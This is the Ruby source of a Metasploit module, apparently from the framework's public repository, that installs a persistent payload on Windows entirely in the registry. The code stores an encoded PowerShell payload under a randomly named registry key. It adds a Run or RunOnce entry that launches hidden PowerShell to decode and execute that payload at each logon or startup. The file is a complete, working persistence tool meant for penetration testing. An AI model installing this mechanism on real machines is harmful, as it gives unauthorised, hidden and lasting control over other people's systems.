Path: blob/master/modules/exploits/windows/persistence/registry.rb
24767 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::Powershell9include Msf::Post::Windows::Registry10include Msf::Post::File11include Msf::Exploit::Local::Persistence12prepend Msf::Exploit::Remote::AutoCheck13include Msf::Exploit::Deprecated14moved_from 'exploits/windows/local/registry_persistence'1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Windows Registry Only Persistence',21'Description' => %q{22This module will install a payload that is executed during boot.23It will be executed either at user logon or system startup via the registry24value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method).25The payload will be installed completely in registry.26},27'License' => MSF_LICENSE,28'Author' => [29'Donny Maasland <donny.maasland[at]fox-it.com>', # original module30'h00die',31],32'Platform' => [ 'win' ],33'SessionTypes' => [ 'meterpreter', 'shell' ],34'Targets' => [35[ 'Automatic', {} ]36],37'References' => [38['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],39['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],40['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],41['URL', 'https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/']42],43'DefaultTarget' => 0,44'DisclosureDate' => '2015-07-01',45'Notes' => {46'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],47'Stability' => [CRASH_SAFE],48'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]49}50)51)5253register_options([54OptEnum.new('STARTUP',55[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),56OptString.new('BLOB_REG_KEY',57[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),58OptString.new('BLOB_REG_NAME',59[false, 'The name to use for storing the payload blob. (Default: random)' ]),60OptString.new('RUN_NAME',61[false, 'The name to use for the \'Run\' key. (Default: random)' ]),62OptInt.new('SLEEP_TIME',63[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),64OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),65])66end6768def generate_payload_blob69opts = {70wrap_double_quotes: true,71encode_final_payload: true72}73cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(' ')[-1]74end7576def generate_cmd(root_path, blob_key_name, blob_key_reg)77"%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""78end7980def generate_blob_reg81blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"82blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)83return blob_reg_key, blob_reg_name84end8586def generate_cmd_reg87datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)88end8990def install_blob(root_path, blob, blob_reg_key, blob_reg_name)91blob_reg_key = "#{root_path}\\#{blob_reg_key}"92new_key = false93if !registry_enumkeys(blob_reg_key)94unless registry_createkey(blob_reg_key)95fail_with(Failure::Unknown, "Failed to create key #{blob_reg_key}")96end97print_good("Created registry key #{blob_reg_key}")98new_key = true99end100101unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, 'REG_SZ')102fail_with(Failure::Unknown, 'Failed to open the registry key for writing')103end104print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")105return new_key106end107108def regkey109datastore['REG_KEY']110end111112def install_cmd(cmd, cmd_reg, root_path)113unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')114fail_with(Failure::Unknown, 'Could not install run key')115end116print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")117end118119def get_root_path120return 'HKCU' if datastore['STARTUP'] == 'USER'121122'HKLM'123end124125def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)126@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"127if new_key128@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"129end130@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"131end132133def check134return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')135136vprint_good('Powershell detected on system')137138# test write to see if we have access139root_path = get_root_path140rand = Rex::Text.rand_text_alphanumeric(15)141142vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")143return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?144145registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")146147Msf::Exploit::CheckCode::Vulnerable('Registry writable')148end149150def install_persistence151print_status('Generating payload blob..')152blob = generate_payload_blob153print_good("Generated payload, #{blob.length} bytes")154155root_path = get_root_path156print_status("Root path is #{root_path}")157158blob_reg_key, blob_reg_name = generate_blob_reg159cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)160cmd_reg = generate_cmd_reg161162print_status('Installing payload blob..')163new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)164165print_status('Installing run key')166install_cmd(cmd, cmd_reg, root_path)167168create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)169end170end171172173